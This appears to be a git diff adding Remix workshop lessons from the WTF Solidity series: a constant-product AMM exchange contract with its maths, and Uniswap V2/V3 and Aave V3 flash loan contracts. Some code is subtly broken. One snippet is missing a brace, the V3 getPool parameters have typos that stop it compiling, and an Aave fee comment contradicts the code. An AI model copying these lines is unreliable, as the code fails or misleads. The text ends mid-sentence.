+Community: [Discord](https://discord.gg/5akcruXrsk)|[WeChat Group](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link) |[Official website wtf.academy](https://wtf.academy) + +All codes and tutorials are open source on github: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) +----- + +In this lecture, we will introduce the Constant Product Automated Market Maker (CPAMM), which is the core mechanism of decentralized exchanges and is used by a series of DEXs such as Uniswap and PancakeSwap. The teaching contract is simplified from the [Uniswap-v2](https://github.com/Uniswap/v2-core) contract and includes the core functions of CPAMM. + +## Automatic market maker + +An Automated Market Maker (AMM) is an algorithm or a smart contract that runs on the blockchain, which allows decentralized transactions between digital assets. The introduction of AMM has created a new trading method that does not require traditional buyers and sellers to match orders. Instead, a liquidity pool is created through a preset mathematical formula (such as a constant product formula), allowing users to trade at any time. Trading. + +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/56_DEX/step1/img/56-1.png) + +Next, we will introduce AMM to you, taking the markets of Coke ($COLA) and US Dollar ($USD) as examples. For convenience, we specify the symbols: $x$ and $y$ respectively represent the total amount of cola and dollars in the market, $\Delta x$ and $\Delta y$ respectively represent the changes in cola and dollars in a transaction, $L$ and $\Delta L$ represent total liquidity and changes in liquidity. + +### Constant Sum Automated Market Maker + +The Constant Sum Automated Market Maker (CSAMM) is the simplest automated market maker model, and we will start with it. Its constraints during transactions are: + +$$k=x+y$$ + +where $k$ is a constant. That is, the sum of the quantities of colas and dollars in the market remains the same before and after the trade. For example, there are 10 bottles of Coke and $10 in the market. At this time, $k=20$, and the price of Coke is $1/bottle. I was thirsty and wanted to exchange my $2 for a Coke. The total number of dollars in the post-trade market becomes 12. According to the constraint $k=20$, there are 8 bottles of Coke in the post-trade market at a price of $1/bottle. I got 2 bottles of Coke in the deal for $1/bottle. + +The advantage of CSAMM is that it can ensure that the relative price of tokens remains unchanged. This is very important in a stable currency exchange. Everyone hopes that 1 USDT can always be exchanged for 1 USDC. But its shortcomings are also obvious. Its liquidity is easily exhausted: I only need $10 to exhaust the liquidity of Coke in the market, and other users who want to drink Coke will not be able to trade. + +Below we introduce the constant product automatic market maker with "unlimited" liquidity. + +### Constant product automatic market maker + +Constant Product Automatic Market Maker (CPAMM) is the most popular automatic market maker model and was first adopted by Uniswap. Its constraints during transactions are: + +$$k=x*y$$ + +where $k$ is a constant. That is, the product of the quantities of colas and dollars in the market remains the same before and after the trade. In the same example, there are 10 bottles of Coke and $10 in the market. At this time, $k=100$, and the price of Coke is $1/bottle. I was thirsty and wanted to exchange $10 for a Coke. If it were in CSAMM, my transaction would be in exchange for 10 bottles of Coke and deplete the liquidity of Cokes in the market. But in CPAMM, the total amount of dollars in the post-trade market becomes 20. According to the constraint $k=100$, there are 5 bottles of Coke in the post-trade market with a price of $20/5 = 4$ dollars/bottle. I got 5 bottles of Coke in the deal at a price of $10/5 = $2$ per bottle. + +The advantage of CPAMM is that it has "unlimited" liquidity: the relative price of tokens will change with buying and selling, and the scarcer tokens will have a higher relative price to avoid exhaustion of liquidity. In the example above, the transaction increases the price of Coke from $1/bottle to $4/bottle, thus preventing Coke on the market from being bought out. + +Next, let us build a minimalist decentralized exchange based on CPAMM. + +## Decentralized exchange + +Next, we use smart contracts to write a decentralized exchange `SimpleSwap` to support users to trade a pair of tokens. + +`SimpleSwap` inherits the ERC20 token standard and facilitates the recording of liquidity provided by liquidity providers. In the constructor, we specify a pair of token addresses `token0` and `token1`. The exchange only supports this pair of tokens. `reserve0` and `reserve1` record the reserve amount of tokens in the contract. + +```solidity +contract SimpleSwap is ERC20 { + //Token contract + IERC20 public token0; + IERC20 public token1; + + //Token reserve amount + uint public reserve0; + uint public reserve1; + + //Constructor, initialize token address + constructor(IERC20 _token0, IERC20 _token1) ERC20("SimpleSwap", "SS") { + token0 = _token0; + token1 = _token1; + } +} +``` + +There are two main types of participants in the exchange: Liquidity Provider (LP) and Trader. Below we implement the functions of these two parts respectively. + +### Liquidity Provision + +Liquidity providers provide liquidity to the market, allowing traders to obtain better quotes and liquidity, and charge a certain fee. + +First, we need to implement the functionality to add liquidity. When a user adds liquidity to the token pool, the contract records the added LP share. According to Uniswap V2, LP share is calculated as follows: + +1. When liquidity is added to the token pool for the first time, the LP share $\Delta{L}$ is determined by the square root of the product of the number of added tokens: + + $$\Delta{L}=\sqrt{\Delta{x} *\Delta{y}}$$ + +1. When liquidity is not added for the first time, the LP share is determined by the ratio of the number of added tokens to the pool’s token reserves (the smaller of the two tokens): + + $$\Delta{L}=L*\min{(\frac{\Delta{x}}{x}, \frac{\Delta{y}}{y})}$$ + +Because the `SimpleSwap` contract inherits the ERC20 token standard, after calculating the LP share, the share can be minted to the user in the form of tokens. + +The following `addLiquidity()` function implements the function of adding liquidity. The main steps are as follows: + +1. To transfer the tokens added by the user to the contract, the user needs to authorize the contract in advance. +2. Calculate the added liquidity share according to the formula and check the number of minted LPs. +3. Update the token reserve of the contract. +4. Mint LP tokens for liquidity providers. +5. Release the `Mint` event. + +```solidity +event Mint(address indexed sender, uint amount0, uint amount1); + +// Add liquidity, transfer tokens, and mint LP +// @param amount0Desired The amount of token0 added +// @param amount1Desired The amount of token1 added +function addLiquidity(uint amount0Desired, uint amount1Desired) public returns(uint liquidity){ + // To transfer the added liquidity to the Swap contract, you need to give the Swap contract authorization in advance. + token0.transferFrom(msg.sender, address(this), amount0Desired); + token1.transferFrom(msg.sender, address(this), amount1Desired); + // Calculate added liquidity + uint _totalSupply = totalSupply(); + if (_totalSupply == 0) { + // If liquidity is added for the first time, mint L = sqrt(x * y) units of LP (liquidity provider) tokens + liquidity = sqrt(amount0Desired * amount1Desired); + } else { + // If it is not the first time to add liquidity, LP will be minted in proportion to the number of added tokens, and the smaller ratio of the two tokens will be used. + liquidity = min(amount0Desired * _totalSupply / reserve0, amount1Desired * _totalSupply /reserve1); + + // Check the amount of LP minted + require(liquidity > 0, 'INSUFFICIENT_LIQUIDITY_MINTED'); + + // Update reserve + reserve0 = token0.balanceOf(address(this)); + reserve1 = token1.balanceOf(address(this)); + + // Mint LP tokens for liquidity providers to represent the liquidity they provide + _mint(msg.sender, liquidity); + + emit Mint(msg.sender, amount0Desired, amount1Desired); +} +``` + +Next, we need to implement the functionality to remove liquidity. When a user removes liquidity $\Delta{L}$ from the pool, the contract must destroy the LP share tokens and return the tokens to the user in proportion. The calculation formula for returning tokens is as follows: + +$$\Delta{x}={\frac{\Delta{L}}{L} * x}$$ +$$\Delta{y}={\frac{\Delta{L}}{L} * y}$$ + +The following `removeLiquidity()` function implements the function of removing liquidity. The main steps are as follows: + +1. Get the token balance in the contract. +2. Calculate the number of tokens to be transferred according to the proportion of LP. +3. Check the number of tokens. +4. Destroy LP shares. +5. Transfer the corresponding tokens to the user. +6. Update reserves. +5. Release the `Burn` event. + +```solidity +// Remove liquidity, destroy LP, and transfer tokens +// Transfer quantity = (liquidity / totalSupply_LP) * reserve +// @param liquidity The amount of liquidity removed +function removeLiquidity(uint liquidity) external returns (uint amount0, uint amount1) { + // Get balance + uint balance0 = token0.balanceOf(address(this)); + uint balance1 = token1.balanceOf(address(this)); + // Calculate the number of tokens to be transferred according to the proportion of LP + uint _totalSupply = totalSupply(); + amount0 = liquidity * balance0 / _totalSupply; + amount1 = liquidity * balance1 / _totalSupply; + // Check the number of tokens + require(amount0 > 0 && amount1 > 0, 'INSUFFICIENT_LIQUIDITY_BURNED'); + // Destroy LP +_burn(msg.sender, liquidity); + // Transfer tokens + token0.transfer(msg.sender, amount0); + token1.transfer(msg.sender, amount1); + // Update reserve + reserve0 = token0.balanceOf(address(this)); + reserve1 = token1.balanceOf(address(this)); + + emit Burn(msg.sender, amount0, amount1); +} +``` + +At this point, the functions related to the liquidity provider in the contract are completed, and the next step is the transaction part. + +### trade + +In a Swap contract, users can trade one token for another. So how many units of token1 can I exchange for $\Delta{x}$ units of token0? Let us briefly derive it below. + +According to the constant product formula, before trading: + +$$k=x*y$$ + +After the transaction, there are: + +$$k=(x+\Delta{x})*(y+\Delta{y})$$ + +The value of $k$ remains unchanged before and after the transaction. Combining the above equations, we can get: + +$$\Delta{y}=-\frac{\Delta{x}*y}{x+\Delta{x}}$$ + +Therefore, the number of tokens $\Delta{y}$ that can be exchanged is determined by $\Delta{x}$, $x$, and $y$. Note that $\Delta{x}$ and $\Delta{y}$ have opposite signs, as transferring in increases the token reserve, while transferring out decreases it. + +The `getAmountOut()` below implements, given the amount of an asset and the reserve of a token pair, calculates the amount to exchange for another token. + +```solidity +// Given the amount of an asset and the reserve of a token pair, calculate the amount to exchange for another token +function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) public pure returns (uint amountOut) { + require(amountIn > 0, 'INSUFFICIENT_AMOUNT'); + require(reserveIn > 0 && reserveOut > 0, 'INSUFFICIENT_LIQUIDITY'); + amountOut = amountIn * reserveOut / (reserveIn + amountIn); +} +``` + +With this core formula in place, we can start implementing the trading function. The following `swap()` function implements the function of trading tokens. The main steps are as follows: + +1. When calling the function, the user specifies the number of tokens for exchange, the address of the exchanged token, and the minimum amount for swapping out another token. +2. Determine whether token0 is exchanged for token1, or token1 is exchanged for token0. +3. Use the above formula to calculate the number of tokens exchanged. +4. Determine whether the exchanged tokens have reached the minimum number specified by the user, which is similar to the slippage of the transaction. +5. Transfer the user’s tokens to the contract. +6. Transfer the exchanged tokens from the contract to the user. +7. Update the token reserve of the contract. +8. Release the `Swap` event. + +```solidity +// swap tokens +// @param amountIn the number of tokens used for exchange +// @param tokenIn token contract address used for exchange +// @param amountOutMin the minimum amount to exchange for another token +function swap(uint amountIn, IERC20 tokenIn, uint amountOutMin) external returns (uint amountOut, IERC20 tokenOut){ + require(amountIn > 0, 'INSUFFICIENT_OUTPUT_AMOUNT'); + require(tokenIn == token0 || tokenIn == token1, 'INVALID_TOKEN'); + + uint balance0 = token0.balanceOf(address(this)); + uint balance1 = token1.balanceOf(address(this)); + + if(tokenIn == token0){ +// If token0 is exchanged for token1 + tokenOut = token1; + // Calculate the number of token1 that can be exchanged + amountOut = getAmountOut(amountIn, balance0, balance1); + require(amountOut > amountOutMin, 'INSUFFICIENT_OUTPUT_AMOUNT'); + //Exchange + tokenIn.transferFrom(msg.sender, address(this), amountIn); + tokenOut.transfer(msg.sender, amountOut); + }else{ + // If token1 is exchanged for token0 + tokenOut = token0; + // Calculate the number of token1 that can be exchanged + amountOut = getAmountOut(amountIn, balance1, balance0); + require(amountOut > amountOutMin, 'INSUFFICIENT_OUTPUT_AMOUNT'); + //Exchange + tokenIn.transferFrom(msg.sender, address(this), amountIn); + tokenOut.transfer(msg.sender, amountOut); + } + + // Update reserve + reserve0 = token0.balanceOf(address(this)); + reserve1 = token1.balanceOf(address(this)); + + emit Swap(msg.sender, amountIn, address(tokenIn), amountOut, address(tokenOut)); +} +``` + +## Swap Contract + +The complete code of `SimpleSwap` is as follows: + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.19; + +import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; + +contract SimpleSwap is ERC20 { + //Token contract + IERC20 public token0; + IERC20 public token1; + + //Token reserve amount + uint public reserve0; + uint public reserve1; + + // event + event Mint(address indexed sender, uint amount0, uint amount1); + event Burn(address indexed sender, uint amount0, uint amount1); + event Swap( + address indexed sender, + uint amountIn, + address tokenIn, + uint amountOut, + address tokenOut + ); + + // Constructor, initialize token address + constructor(IERC20 _token0, IERC20 _token1) ERC20("SimpleSwap", "SS") { + token0 = _token0; + token1 = _token1; + } + + // Find the minimum of two numbers + function min(uint x, uint y) internal pure returns (uint z) { + z = x < y ? x : y; + } + + // Calculate square roots babylonian method +(https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) + function sqrt(uint y) internal pure returns (uint z) { + if (y > 3) { + z = y; + uint x = y / 2 + 1; + while (x < z) { + z = x; + x = (y / x + x) / 2; + } + } else if (y != 0) { + z = 1; + } + } + + // Add liquidity, transfer tokens, and mint LP + // If added for the first time, the amount of LP minted = sqrt(amount0 * amount1) + // If it is not the first time, the amount of LP minted = min(amount0/reserve0, amount1/reserve1)* totalSupply_LP + // @param amount0Desired The amount of token0 added + // @param amount1Desired The amount of token1 added + function addLiquidity(uint amount0Desired, uint amount1Desired) public returns(uint liquidity){ + // To transfer the added liquidity to the Swap contract, you need to give the Swap contract authorization in advance. + token0.transferFrom(msg.sender, address(this), amount0Desired); + token1.transferFrom(msg.sender, address(this), amount1Desired); + // Calculate added liquidity + uint _totalSupply = totalSupply(); + if (_totalSupply == 0) { + // If liquidity is added for the first time, mint L = sqrt(x * y) units of LP (liquidity provider) tokens + liquidity = sqrt(amount0Desired * amount1Desired); + } else { + // If it is not the first time to add liquidity, LP will be minted in proportion to the number of added tokens, and the smaller ratio of the two tokens will be used. + liquidity = min(amount0Desired * _totalSupply / reserve0, amount1Desired * _totalSupply /reserve1); + } + +// Check the amount of LP minted + require(liquidity > 0, 'INSUFFICIENT_LIQUIDITY_MINTED'); + + // Update reserve + reserve0 = token0.balanceOf(address(this)); + reserve1 = token1.balanceOf(address(this)); + + // Mint LP tokens for liquidity providers to represent the liquidity they provide + _mint(msg.sender, liquidity); + + emit Mint(msg.sender, amount0Desired, amount1Desired); + } + +// Remove liquidity, destroy LP, and transfer tokens + // Transfer quantity = (liquidity / totalSupply_LP) * reserve + // @param liquidity The amount of liquidity removed + function removeLiquidity(uint liquidity) external returns (uint amount0, uint amount1) { + // Get balance + uint balance0 = token0.balanceOf(address(this)); + uint balance1 = token1.balanceOf(address(this)); + // Calculate the number of tokens to be transferred according to the proportion of LP + uint _totalSupply = totalSupply(); + amount0 = liquidity * balance0 / _totalSupply; + amount1 = liquidity * balance1 / _totalSupply; + // Check the number of tokens + require(amount0 > 0 && amount1 > 0, 'INSUFFICIENT_LIQUIDITY_BURNED'); + // Destroy LP + _burn(msg.sender, liquidity); + // Transfer tokens + token0.transfer(msg.sender, amount0); + token1.transfer(msg.sender, amount1); + // Update reserve + reserve0 = token0.balanceOf(address(this)); + reserve1 = token1.balanceOf(address(this)); + + emit Burn(msg.sender, amount0, amount1); + } + +// Given the amount of an asset and the reserve of a token pair, calculate the amount to exchange for another token + // Since the product is constant + // Before swapping: k = x * y + // After swapping: k = (x + delta_x) * (y + delta_y) + // Available delta_y = - delta_x * y / (x + delta_x) + // Positive/negative signs represent transfer in/out + function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) public pure returns (uint amountOut) { + require(amountIn > 0, 'INSUFFICIENT_AMOUNT'); + require(reserveIn > 0 && reserveOut > 0, 'INSUFFICIENT_LIQUIDITY'); + amountOut = amountIn * reserveOut / (reserveIn + amountIn); + } + +// swap tokens + // @param amountIn the number of tokens used for exchange + // @param tokenIn token contract address used for exchange + // @param amountOutMin the minimum amount to exchange for another token + function swap(uint amountIn, IERC20 tokenIn, uint amountOutMin) external returns (uint amountOut, IERC20 tokenOut){ + require(amountIn > 0, 'INSUFFICIENT_OUTPUT_AMOUNT'); + require(tokenIn == token0 || tokenIn == token1, 'INVALID_TOKEN'); + + uint balance0 = token0.balanceOf(address(this)); + uint balance1 = token1.balanceOf(address(this)); + +if(tokenIn == token0){ + // If token0 is exchanged for token1 + tokenOut = token1; + // Calculate the number of token1 that can be exchanged + amountOut = getAmountOut(amountIn, balance0, balance1); + require(amountOut > amountOutMin, 'INSUFFICIENT_OUTPUT_AMOUNT'); + //Exchange + tokenIn.transferFrom(msg.sender, address(this), amountIn); + tokenOut.transfer(msg.sender, amountOut); + }else{ + // If token1 is exchanged for token0 + tokenOut = token0; + // Calculate the number of token1 that can be exchanged + amountOut = getAmountOut(amountIn, balance1, balance0); + require(amountOut > amountOutMin, 'INSUFFICIENT_OUTPUT_AMOUNT'); + //Exchange + tokenIn.transferFrom(msg.sender, address(this), amountIn); + tokenOut.transfer(msg.sender, amountOut); + } + + // Update reserve + reserve0 = token0.balanceOf(address(this)); + reserve1 = token1.balanceOf(address(this)); + + emit Swap(msg.sender, amountIn, address(tokenIn), amountOut, address(tokenOut)); + } +} +``` + +## Remix Reappearance + +1. Deploy two ERC20 token contracts (token0 and token1) and record their contract addresses. + +2. Deploy the `SimpleSwap` contract and fill in the token address above. + +3. Call the `approve()` function of the two ERC20 tokens to authorize 1000 units of tokens to the `SimpleSwap` contract respectively. + +4. Call the `addLiquidity()` function of the `SimpleSwap` contract to add liquidity to the exchange, and add 100 units to token0 and token1 respectively. + +5. Call the `balanceOf()` function of the `SimpleSwap` contract to view the user’s LP share, which should be 100. ($\sqrt{100*100}=100$) + +6. Call the `swap()` function of the `SimpleSwap` contract to trade tokens, using 100 units of token0. + +7. Call the `reserve0` and `reserve1` functions of the `SimpleSwap` contract to view the token reserves in the contract, which should be 200 and 50. In the previous step, we used 100 units of token0 to exchange 50 units of token 1 ($\frac{100*100}{100+100}=50$). + +## Summary + +In this lecture, we introduced the constant product automatic market maker and wrote a minimalist decentralized exchange. In the minimalist Swap contract, we have many parts that we have not considered, such as transaction fees and governance parts. If you are interested in decentralized exchanges, it is recommended that you read [Programming DeFi: Uniswap V2](https://jeiwan.net/posts/programming-defi-uniswapv2-1/) and [Uniswap v3 book](https: //y1cunhui.github.io/uniswapV3-book-zh-cn/) for more in-depth learning. diff --git a/57_Flashloan/config.yml b/57_Flashloan/config.yml new file mode 100644 index 000000000..c8e0030ac --- /dev/null +++ b/57_Flashloan/config.yml @@ -0,0 +1,13 @@ +id: 57-flash-loan +name: 57. Flash loan +summary: Master flash loans in DeFi by learning how to borrow large amounts without collateral and execute complex arbitrage strategies within a single transaction. +level: 2 +tags: +- solidity +- flashloan +- Defi +- uniswap +- aave +steps: +- name: Flash loan + path: step1 diff --git a/57_Flashloan/readme.md b/57_Flashloan/readme.md new file mode 100644 index 000000000..2e7cde985 --- /dev/null +++ b/57_Flashloan/readme.md @@ -0,0 +1,16 @@ +--- +title: 57. Flash loan +tags: + - solidity + - flashloan + - Defi + - uniswap + - aave +--- + +# WTF Minimalist introduction to Solidity: 57. Flash loan + +You must have heard the term “flash loan attack”, but what is a flash loan? How to write a flash loan contract? In this lecture, we will introduce flash loans in the blockchain, implement flash loan contracts based on Uniswap V2, Uniswap V3, and AAVE V3, and use Foundry for testing. + + + diff --git a/57_Flashloan/step1/img/57-1.png b/57_Flashloan/step1/img/57-1.png new file mode 100644 index 000000000..7199c4c7a Binary files /dev/null and b/57_Flashloan/step1/img/57-1.png differ diff --git a/57_Flashloan/step1/src/AaveV3Flashloan.sol b/57_Flashloan/step1/src/AaveV3Flashloan.sol new file mode 100644 index 000000000..3ba1f3475 --- /dev/null +++ b/57_Flashloan/step1/src/AaveV3Flashloan.sol @@ -0,0 +1,67 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "./Lib.sol"; + +interface IFlashLoanSimpleReceiver { + /** + * @notice performs operations after receiving flash loan assets + * @dev ensures that the contract can pay off the debt + additional fees, e.g. with + * Sufficient funds to repay and Pool has been approved to withdraw the total amount + * @param asset The address of the flash loan asset + * @param amount The amount of flash loan assets + * @param premium The fee for lightning borrowing assets + * @param initiator The address where flash loans are initiated + * @param params byte encoding parameters passed when initializing flash loan + * @return True if the operation is executed successfully, False otherwise + */ + function executeOperation( + address asset, + uint256 amount, + uint256 premium, + address initiator, + bytes calldata params + ) external returns (bool); +} + +// AAVE V3 flash loan contract +contract AaveV3Flashloan { + address private constant AAVE_V3_POOL = + 0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2; + + address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + + ILendingPool public aave; + + constructor() { + aave = ILendingPool(AAVE_V3_POOL); + } + + // Flash loan function + function flashloan(uint256 wethAmount) external { + aave.flashLoanSimple(address(this), WETH, wethAmount, "", 0); + } + + // Flash loan callback function can only be called by the pool contract + function executeOperation(address asset, uint256 amount, uint256 premium, address initiator, bytes calldata) + external + returns (bool) + { + // Confirm that the call is DAI/WETH pair contract + require(msg.sender == AAVE_V3_POOL, "not authorized"); + // Confirm that the initiator of the flash loan is this contract + require(initiator == address(this), "invalid initiator"); + + // flashloan logic, omitted here + + // Calculate flashloan fees + // fee = 5/1000 * amount + uint fee = (amount * 5) / 10000 + 1; + uint amountToRepay = amount + fee; + + //Repay flash loan + IERC20(WETH).approve(AAVE_V3_POOL, amountToRepay); + + return true; + } +} diff --git a/57_Flashloan/step1/src/Lib.sol b/57_Flashloan/step1/src/Lib.sol new file mode 100644 index 000000000..72f018fae --- /dev/null +++ b/57_Flashloan/step1/src/Lib.sol @@ -0,0 +1,109 @@ +pragma solidity >=0.5.0; + +interface IERC20 { + event Approval(address indexed owner, address indexed spender, uint value); + event Transfer(address indexed from, address indexed to, uint value); + + function name() external view returns (string memory); + function symbol() external view returns (string memory); + function decimals() external view returns (uint8); + function totalSupply() external view returns (uint); + function balanceOf(address owner) external view returns (uint); + function allowance(address owner, address spender) external view returns (uint); + + function approve(address spender, uint value) external returns (bool); + function transfer(address to, uint value) external returns (bool); + function transferFrom(address from, address to, uint value) external returns (bool); +} + +interface IUniswapV2Pair { + function swap( + uint amount0Out, + uint amount1Out, + address to, + bytes calldata data + ) external; + + function token0() external view returns (address); + function token1() external view returns (address); +} + +interface IUniswapV2Factory { + function getPair( + address tokenA, + address tokenB + ) external view returns (address pair); +} + +interface IWETH is IERC20 { + function deposit() external payable; + + function withdraw(uint amount) external; +} + + + +library PoolAddress { + bytes32 internal constant POOL_INIT_CODE_HASH = + 0xe34f199b19b2b4f47f68442619d555527d244f78a3297ea89325f843f87b8b54; + + struct PoolKey { + address token0; + address token1; + uint24 fee; + } + + function getPoolKey( + address tokenA, + address tokenB, + uint24 fee + ) internal pure returns (PoolKey memory) { + if (tokenA > tokenB) (tokenA, tokenB) = (tokenB, tokenA); + return PoolKey({token0: tokenA, token1: tokenB, fee: fee}); + } + + function computeAddress( + address factory, + PoolKey memory key + ) internal pure returns (address pool) { + require(key.token0 < key.token1); + pool = address( + uint160( + uint( + keccak256( + abi.encodePacked( + hex"ff", + factory, + keccak256(abi.encode(key.token0, key.token1, key.fee)), + POOL_INIT_CODE_HASH + ) + ) + ) + ) + ); + } +} + +interface IUniswapV3Pool { + function flash( + address recipient, + uint amount0, + uint amount1, + bytes calldata data + ) external; +} + +// AAVE V3 Pool interface +interface ILendingPool { + // flashloan of single asset + function flashLoanSimple( + address receiverAddress, + address asset, + uint256 amount, + bytes calldata params, + uint16 referralCode + ) external; + + // get the fee on flashloan, default at 0.05% + function FLASHLOAN_PREMIUM_TOTAL() external view returns (uint128); +} \ No newline at end of file diff --git a/57_Flashloan/step1/src/UniswapV2Flashloan.sol b/57_Flashloan/step1/src/UniswapV2Flashloan.sol new file mode 100644 index 000000000..b199ad39b --- /dev/null +++ b/57_Flashloan/step1/src/UniswapV2Flashloan.sol @@ -0,0 +1,65 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "./Lib.sol"; + +// UniswapV2 flash loan callback interface +interface IUniswapV2Callee { + function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external; +} + +// UniswapV2 flash loan contract +contract UniswapV2Flashloan is IUniswapV2Callee { + address private constant UNISWAP_V2_FACTORY = + 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; + + address private constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F; + address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + + IUniswapV2Factory private constant factory = IUniswapV2Factory(UNISWAP_V2_FACTORY); + + IERC20 private constant weth = IERC20(WETH); + + IUniswapV2Pair private immutable pair; + + constructor() { + pair = IUniswapV2Pair(factory.getPair(DAI, WETH)); + } + + // Flash loan function + function flashloan(uint wethAmount) external { + //The calldata length is greater than 1 to trigger the flash loan callback function + bytes memory data = abi.encode(WETH, wethAmount); + + // amount0Out is the DAI to be borrowed, amount1Out is the WETH to be borrowed + pair.swap(0, wethAmount, address(this), data); + } + + // Flash loan callback function can only be called by the DAI/WETH pair contract + function uniswapV2Call( + address sender, + uint amount0, + uint amount1, + bytes calldata data + ) external { + // Confirm that the call is DAI/WETH pair contract + address token0 = IUniswapV2Pair(msg.sender).token0(); // Get token0 address + address token1 = IUniswapV2Pair(msg.sender).token1(); // Get token1 address + assert(msg.sender == factory.getPair(token0, token1)); // ensure that msg.sender is a V2 pair + + //Decode calldata + (address tokenBorrow, uint256 wethAmount) = abi.decode(data, (address, uint256)); + + // flashloan logic, omitted here + require(tokenBorrow == WETH, "token borrow != WETH"); + + // Calculate flashloan fees + // fee / (amount + fee) = 3/1000 + // Rounded up + uint fee = (amount1 * 3) / 997 + 1; + uint amountToRepay = amount1 + fee; + + //Repay flash loan + weth.transfer(address(pair), amountToRepay); + } +} diff --git a/57_Flashloan/step1/src/UniswapV3Flashloan.sol b/57_Flashloan/step1/src/UniswapV3Flashloan.sol new file mode 100644 index 000000000..43edffea7 --- /dev/null +++ b/57_Flashloan/step1/src/UniswapV3Flashloan.sol @@ -0,0 +1,73 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "./Lib.sol"; + +// UniswapV3 flash loan callback interface +//Need to implement and rewrite the uniswapV3FlashCallback() function +interface IUniswapV3FlashCallback { + /// In the implementation, you must repay the pool for the tokens sent by flash and the calculated fee amount. + /// The contract calling this method must be checked by the UniswapV3Pool deployed by the official UniswapV3Factory. + /// @param fee0 The fee amount of token0 that should be paid to the pool when the flash loan ends + /// @param fee1 The fee amount of token1 that should be paid to the pool when the flash loan ends + /// @param data Any data passed by the caller is called via IUniswapV3PoolActions#flash + function uniswapV3FlashCallback( + uint256 fee0, + uint256 fee1, + bytes calldata data + ) external; +} + +// UniswapV3 flash loan contract +contract UniswapV3Flashloan is IUniswapV3FlashCallback { + address private constant UNISWAP_V3_FACTORY = 0x1F98431c8aD98523631AE4a59f267346ea31F984; + + address private constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F; + address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + uint24 private constant poolFee = 3000; + + IERC20 private constant weth = IERC20(WETH); + IUniswapV3Pool private immutable pool; + + constructor() { + pool = IUniswapV3Pool(getPool(DAI, WETH, poolFee)); + } + + function getPool( + address _token0, + address_token1, + uint24_fee + ) public pure returns (address) { + PoolAddress.PoolKey memory poolKey = PoolAddress.getPoolKey( + _token0, + _token1, + _fee + ); + return PoolAddress.computeAddress(UNISWAP_V3_FACTORY, poolKey); + } + + // Flash loan function + function flashloan(uint wethAmount) external { + bytes memory data = abi.encode(WETH, wethAmount); + IUniswapV3Pool(pool).flash(address(this), 0, wethAmount, data); + } + + // Flash loan callback function can only be called by the DAI/WETH pair contract + function uniswapV3FlashCallback( + uint fee0, + uint fee1, + bytes calldata data + ) external { + // Confirm that the call is DAI/WETH pair contract + require(msg.sender == address(pool), "not authorized"); + + //Decode calldata + (address tokenBorrow, uint256 wethAmount) = abi.decode(data, (address, uint256)); + + // flashloan logic, omitted here + require(tokenBorrow == WETH, "token borrow != WETH"); + + //Repay flash loan + weth.transfer(address(pool), wethAmount + fee1); + } +} diff --git a/57_Flashloan/step1/step1.md b/57_Flashloan/step1/step1.md new file mode 100644 index 000000000..7ef72b1d5 --- /dev/null +++ b/57_Flashloan/step1/step1.md @@ -0,0 +1,495 @@ +--- +title: 57. Flash loan +tags: + - solidity + - flashloan + - Defi + - uniswap + - aave +--- + +# WTF Minimalist introduction to Solidity: 57. Flash loan + +I'm recently re-learning solidity, consolidating the details, and writing a "WTF Solidity Minimalist Introduction" for novices (programming experts can find another tutorial), updating 1-3 lectures every week. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[WeChat Group](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link) |[Official website wtf.academy](https://wtf.academy) + +All codes and tutorials are open source on github: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +----- + +You must have heard the term “flash loan attack”, but what is a flash loan? How to write a flash loan contract? In this lecture, we will introduce flash loans in the blockchain, implement flash loan contracts based on Uniswap V2, Uniswap V3, and AAVE V3, and use Foundry for testing. + +## Flash Loan + +The first time you heard about "flash loan" must be in Web3, because Web2 does not have this thing. Flashloan is a DeFi innovation that allows users to lend and quickly return funds in one transaction without providing any collateral. + +Imagine that you suddenly find an arbitrage opportunity in the market, but you need to prepare 1 million U of funds to complete the arbitrage. In Web2, you go to the bank to apply for a loan, which requires approval, and you may miss the arbitrage opportunity. In addition, if the arbitrage fails, you not only have to pay interest but also need to return the lost principal. + +In Web3, you can obtain funds through flash loans on the DeFI platform (Uniswap, AAVE, Dodo). You can borrow 1 million U tokens without guarantee, perform on-chain arbitrage, and finally return the loan and interest. + +Flash loans take advantage of the atomicity of Ethereum transactions: a transaction (including all operations within it) is either fully executed or not executed at all. If a user attempts to use a flash loan and does not return the funds in the same transaction, the entire transaction will fail and be rolled back as if it never happened. Therefore, the DeFi platform does not need to worry about the borrower not being able to repay the loan, because if it is not repaid, it means that the money has not been loaned out; at the same time, the borrower does not need to worry about the arbitrage being unsuccessful, because if the arbitrage is unsuccessful, the repayment will not be repaid, and It means that the loan was unsuccessful. + +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/57_Flashloan/step1/img/57-1.png) + +## Flash loan in action + +Below, we introduce how to implement flash loan contracts in Uniswap V2, Uniswap V3, and AAVE V3. + +### 1. Uniswap V2 Flash Loan + +[Uniswap V2 